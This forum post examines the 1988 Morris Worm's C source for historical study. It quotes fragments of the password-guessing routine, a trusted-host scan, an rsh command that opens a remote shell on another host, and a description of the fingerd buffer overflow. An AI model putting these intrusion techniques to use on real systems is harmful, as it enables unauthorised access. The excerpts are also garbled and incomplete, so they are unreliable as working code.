Examining the Morris Worm Source Code - Malware Series - 0x02

Introduction to The Post

Hey guys! Considering this is the first actual post besides the introduction, I thought it would be best to start big and start with a bang you could say. Besides that I think the Morris Worm would very much deserve a spot in the start of this series considering it was one of the first worms that actually caused some level of damage on a large scale. So lets get right into it. Oi and sorry for the late post. It’s really hard to keep up with everything, but I’ll try!

What is the Morris Worm?

The Morris Worm was a worm created by Cornell graduate student Robert Morris Jr. The Worm itself was initially created by Morris as an experiment in order to measure the size of the ARPANET (an early predecessor of the Internet). However a critical error in the code (we’ll talk about it below later), caused it to begin replicating itself on the same computer multiple times slowing down these already weak computers (computers at that time had a very-very small amount of storage and small amount of RAM as well) to the point of being unusable. Or in other words, the Morris Worm “accidentally” performed a DoS (Denial of Service) attack.

Alright…How did it spread though?
Although, the worm itself may seem of good intention (as I said above it was originally created in order to gauge the overall size of the ARPANET at the time), it still used exploits in order to spread. Such exploits were vulnerabilities in UNIX sendmail, (fun fact: Linux was originally based off of Unix- Linux’s creator decided to make Linux after the UNIX development team refused his suggestions, and he sought to make something that the entire community could have a positive effect on and work on) rsh/rexec (rsh is a remote shell, and rexec is a remote exec - if you’re curious you can find more at http://www.denicomp.com/readmore.htm), as well as guessing weak passwords (sorry to interrupt again, but if you’re also curious I’ve included a link of common passwords for computers at that time right here: http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time - the list was created in 2008, but many of the passwords it includes are in this list many of them being sexually based passwords)

Tell us a bit more about it’s Creator Robert Morris please!
Alright! Well as I said above it’s creator was Robert Morris a grad student from Cornell university. When he decided to let the worm into the wild, he actually did it from MIT in order to mask where it came from. Due to the large amount of damage caused by the worm, Morris would eventually become one of the first people charged under the Computer Fraud and Abuse Act. He currently has tenure at MIT.

Can we get keyboard dirty now?
Why yes we can! (In case any of you didn’t know being keyboard dirty is just slang for “show us code” or “use code”). Just before I start using code, I just wanted to share with you guys the link I used to look at it. Big props to these guys: http://www.foo.be/docs-free/morris-worm/worm/ (I also know that some of you are big users of github, so here’s a link to the source code in github just for you guys: https://github.com/arialdomartini/morris-worm ) for being able to have the Morris Worm source code in text format for all of us who want to study it in the future :smiley:! Oh and one more thing, you can go into the “parent directory” and view other files and so on that it has, but I’d suggest also once the article’s finished going into the “parent directory” which houses original reports on the worm itself and even a cool poem about it (which I will include later on). Let’s get started, eh! (Oh, and the worm was written in C, or current versions of it are- mind you the explanation of what it does and so on won’t really be that in depth)

The Password Cracker
This component of the worm was created in order to as I said above “guessed weak passwords”, you can find the original list of the passwords the worm guessed in here as well so here’s the link: http://www.foo.be/docs-free/morris-worm/worm/cracksome.c.txt . But just for the sake of your time, I’ll include components of the code in here and explain their functions!:

FILE *hosteq;
char scanbuf[512];
char fwd_buf[256];
char *fwd_host;
char getbuf[256];
struct passwd *pwent;
char local[20];
struct usr *user;
struct hst *host;				/* 1048 */
int check_other_cnt;			/* 1052 */
static struct usr *user_list = NULL;
hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
if (hosteq != NULL) {			/* 292 */
while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
    host = h_name2host(scanbuf, 0);
    if (host == 0) {
	host = h_name2host(scanbuf, 1);
    if (host->o48[0] == 0)		/* 158 */
    host->flag |= 8;
fclose(hosteq);				/* 280 */

hosteq = fopen(XS("/.rhosts"), XS("r"));
if (hosteq != NULL) {			/* 516 */
while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
    host = h_name2host(scanbuf, 0);
    while (host == 0) {			/* 436, 474 */
	host = h_name2host(scanbuf, 1);
    if (host->o48[0] == 0)
    host->flag |= 8;

Alright, so in short what this lovely piece of code is doing is searching for the /etc/hosts.equiv, and /.rhost for a new host. In case you didn’t know what both of them are, an /etc/hosts.equiv contains a list of a trusted host(s) for a remote system. A /.rhost is a mechanism that allows a system to trust another system. In fact here’s one of Morris’s notes before the code:

/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */

Here’s another function which doesn’t allow a foreign or complicated host.-:

if (strlen(host->hostname) > 11)
user = (struct usr *)malloc(sizeof(struct usr));
strcpy(user->name, pwent->pw_name);
strcpy(&user->passwd[0], XS("x"));
user->decoded_passwd[0] = '\0';
user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir);
user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos
user->next = user_list;
user_list = user;
cmode = 1;
x27f2c = user_list;

This, function was supposed to be (I assume) to keep the worm from spreading to anything government or anything that would be located outside of the ARPANET (if it could spread outside of it…wait can it- I think I just found something else to occupy my time instead of bingo night with grandma).

Now here’s another piece of code, that trys potential passwords (you can find the list above it)

struct usr *user;
int i, j;

if (wds[nextw] == 0) {
return;					/* 2724 */
if (nextw == 0) {				/* 2550 */
for (i = 0; wds[i]; i++)
permute(wds, i, sizeof(wds[0]));

for (j = 0; wds[nextw][j] != '\0'; j++)
wds[nextw][j] &= 0x7f;
for (user = x27f28; user; user = user->next)
try_passwd(user, wds[nextw]);
for (j = 0; wds[nextw][j]; j++)		/* 2664,2718 */
wds[nextw][j] |= 0x80;
nextw += 1;

And that’s it for the password cracker! Whoo, this is long. If you’d like to I’d suggest a quick rest. Just so you know I’m not showing everything for your sake, and mines- which is why I gave y’all the link leading to all of the code so you can look at it if you’d like. Also please note, I’m not exactly experienced with C (I’m new) so please tell me if I say anything incorrect in the comments, and I’ll correct it.

I’ll have to apologize as I can’t examine this part of the worm (It’s long as hell), however going back a bit on what I just recently said Morris did include this piece of code in this part that really caught my eye:

/* I call this "huristic 1". It tries to breakin using the remote execution
* service.  It is called from a subroutine of cracksome_1 with information fr
 * a user's .forword file.  The two name are the original username and the one
* in the .forward file.
 hu1(alt_username, host, username2)		/* x5178 */
 char *alt_username, *username2;
 struct hst *host;
char username[256];
char buffer2[512];
char local[8];
int result, i, fd_for_sh;			/* 780, 784, 788 */

if (host == me)
return 0;				/* 530 */
if (host->flag & HST_HOSTTWO)			/* Already tried ??? */
return 0;

if (host->o48[0] || host->hostname == NULL)
if (host->o48[0] == 0) {
host->flag |= HST_HOSTFOUR;
return 0;
strncpy(username, username2, sizeof(username)-1);
username[sizeof(username)-1] = '\0';

if (username[0] == '\0')
strcpy(username, alt_username);

for (i = 0; username[i]; i++)
if (ispunct(username[i]) || username[i] < ' ')
    return 0;

fd_for_sh = x538e(host, username, &alt_username[30]);
if (fd_for_sh >= 0) {
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
return result;
if (fd_for_sh == -2)
return 0;

fd_for_sh = x538e(me, alt_username, &alt_username[30]);
if (fd_for_sh >= 0) {
sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
	host->hostname, username);
send_text(fd_for_sh, buffer2);
result = 0;
if (test_connection(fd_for_sh, fd_for_sh, 25))	/* 508 */
    result = talk_to_sh(host, fd_for_sh, fd_for_sh);
return result;
return 0;

This at a short glance you can easily find out (from Morris’s notes) that this is an attempt at breaking in using a remote execution service, and gets information from the user’s .forword file.

You can also find some really interesting code above it. Morris describes one part of his code in detail as :

From Gene Spafford [email protected]
What this routine does is actually kind of clever. Keep in
mind that on a Vax the stack grows downwards.

fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack. Since gets doesn’t
have a bound on its input, it is possible to overflow the
buffer without an error message. Normally, when that happens
you trash the return stack frame. However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.

This is what that routine does. It overwrites the return frame
to point into the buffer that just got trashed. The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of “/bin/sh”. Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec’s a shell,
and then proceeds to take input off the socket – from the
worm on the other machine. Since many sites never bother to
fix fingerd to run as something other than root…

Luckily, the code doesn’t work on Suns – it just causes it
to dump core.



/* This routine exploits a fixed 512 byte input buffer in a VAX running

  • the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
  • overwrite six extra words in the stack frame, including the return
  • PC, to point into the middle of the string sent over. The instructions
  • in the string do the direct system call version of execve("/bin/sh"). */

You can find it’s code right above the code I had included above.

(Please note I skipped one part of the code before this, as 1- I have a lot more to write, and 2- I wanted to cover most of the things I thought of as important in order to save time)

So here’s most of the code found in this file:

 if_init()			/* 0x254c, check again */
struct ifconf if_conf;
struct ifreq if_buffer[12];
int  s, i, num_ifs, j;
char local[48];

nifs = 0;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0;				/* if_init+1042 */
if_conf.ifc_req = if_buffer;
if_conf.ifc_len = sizeof(if_buffer);

if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
return 0;				/* if_init+1042 */

num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
for(i = 0; i < num_ifs; i++) {		/* if_init+144 */
for (j = 0; j < nifs; j++)
    /* Oops, look again.  This line needs verified. */
    if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)


 /* Yes all of these are in the include file, but why bother?  Everyone knows
  netmasks, and they will never change... */
def_netmask(net_addr)				/* 0x2962 */
 int net_addr;
if ((net_addr & 0x80000000) == 0)
return 0xFF000000;
if ((net_addr & 0xC0000000) == 0xC0000000)
return 0xFFFF0000;
return 0xFFFFFF00;

netmaskfor(addr)				/* 0x29aa */
  int addr;
int i, mask;

mask = def_netmask(addr);
for (i = 0; i < nifs; i++)
if ((addr & mask) == (ifs[i].if_l16 & mask))
    return ifs[i].if_l24;
return mask;

rt_init()					/* 0x2a26 */
FILE *pipe;
char input_buf[64];
int	 l204, l304;

ngateways = 0;
pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));
					 /* &env102,&env 125 */
if (pipe == 0)
return 0;
while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
if (ngateways >= 500)
sscanf(input_buf, XS("%s%s"), l204, l304);	/* <env+127>"%s%s" */
/* other stuff, I'll come back to this later */

   }						/* 518, back to 76 */
  return 1;
 }						/* 540 */

static rt_init_plus_544()				/* 0x2c44 */

getaddrs()					/* 0x2e1a */

struct bar *a2in(a)		/* 0x2f4a, needs to be fixed */
 int a;
static struct bar local;
local.baz = a;
return &local;

Basically this code is one of the second of the 5 source code files making up the .o file. which was distributed along with the worm as it spread.

Some other Code…
I really don’t want to bother any of you guys (and myself) with this much writing (I’m not used to this much writing, and I’m honestly quite sure you may get a bit tired from reading it, so I’ll just include just one more piece of code, and explain their functions. You can find all these codes in the link I gave y’all.

static report_breakin(arg1, arg2)		/* 0x2494 */
int s;
struct sockaddr_in sin;
char msg;

if (7 != random() % 15)

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = REPORT_PORT;
sin.sin_addr.s_addr = inet_addr(XS(""));
					/* <env+77>"" */

s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))

So what this code does is it reports if a break in has been successfully by sending one byte to the address “”.

Well here we are! Well it’s really been an honor to be able to look at a worm as good as the Morris Worm, and be able to show it to you guys! In short however, although you can’t use the Morris Worm today it will give you tons of insight about how computers worked back then, and so on.

What’s a good article without sources to back it up? Use these for your own curiosity!
I got all my info from the following links:

Anything else were original reports done on the Worm that can be found in the “parent directory” I was talking about.

A Quick Poem About the Morris Worm:

		"The Worm Before Christmas"
		    by Clement C. Morris

    (a.k.a. David Bradley, Betty Cheng, Hal Render, 
		Greg Rogers, and Dan LaLiberte)

Twas the night before finals, and all through the lab
Not a student was sleeping, not even McNabb.
Their projects were finished, completed with care
In hopes that the grades would be easy (and fair).

The students were wired with caffeine in their veins
While visions of quals nearly drove them insane.
    With piles of books and a brand new highlighter,
I had just settled down for another all nighter ---

When out from our gateways arose such a clatter,
I sprang from my desk to see what was the matter;
Away to the console I flew like a flash,
    And logged in as root to fend off a crash.

The windows displayed on my brand new Sun-3,
Gave oodles of info --- some in 3-D.
When, what to my burning red eyes should appear
But dozens of "nobody" jobs.  Oh dear!

With a blitzkrieg invasion, so virulent and firm,
    I knew in a moment, it was Morris's Worm!
More rapid than eagles his processes came,
And they forked and exec'ed and they copied by name:

"Now Dasher!  Now Dancer!  Now, Prancer and Vixen!
On Comet!  On Cupid!  On Donner and Blitzen!
To the sites in .rhosts and host.equiv
Now, dash away!  dash away!  dash away all!"

And then in a twinkling, I heard on the phone,
The complaints of the users.  (Thought I was alone!)
"The load is too high!"  "I can't read my files!"
"I can't send my mail over miles and miles!"

I unplugged the net, and was turning around,
    When the worm-ridden system went down with a bound.
I fretted.  I frittered.  I sweated.  I wept.
Then finally I core dumped the worm in /tmp.

It was smart and pervasive, a right jolly old stealth,
And I laughed, when I saw it, in spite of myself.
A look at the dump of that invasive thread
Soon gave me to know we had nothing to dread.

The next day was slow with no network connections,
For we wanted no more of those pesky infections.
But in spite of the news and the noise and the clatter,
Soon all became normal, as if naught were the matter.

Then later that month while all were away,
A virus came calling and then went away.
The system then told us, when we logged in one night:
    "Happy Christmas to all!  (You guys aren't so bright.)"

[ Note:  The machines dasher.cs.uiuc.edu, 
  dancer.cs.uiuc.ed, prancer.cs.uiuc.edu, etc. have
  been renamed deer1, deer2, deer3, etc. so as not
  to confuse the already burdened students who use 
  those machines. We regret that this poem reflects 
  the older naming scheme and hope it does not confuse
  the network adminstrator at your site.  -Ed.]

My Challenge to You Guys!
Alright, so in other posts I’ve seen other community members where they’ve included code, and other members have re-wrote the code in another language. So my challenge for you guys is to do just that!

Oh and on a side not the “0x02” in the title is my way of saying “0.02” or "the second out of however many posts in this series just to clear things up.


It is amazing how a so old code is still interesting to study. You have to be careful as some things have change since that time and you need to do a little bit research to understand why some code is there.

I will also recommend to take a look to the main (worm.c) function. It makes use of some tricks to hide the process and delete temporally files. Also check hs.c and see how it compiles the exploits… it was a kind of multi-platform malware.

@Cromical. good choice to kick off the series


Ah thanks! Means a lot coming from you.

Good article! Was a good overview of it, and I’m a fan of the naming convention for versions on this baby :wink:


Thanks, anything that I could improve for later articles?

Maybe try to contextualize the code snippets a bit more, rather than relying solely on comments?


I second @oaktree’s proposal.


What @oaktree said, and use the correct syntax highlighting module. There’s an article about how to use it. Also fix the indentation, the code is hard to read.

1 Like

Indeed ignorant of me to do so. Duly noted.

such a good article bro!

This topic was automatically closed after 30 days. New replies are no longer allowed.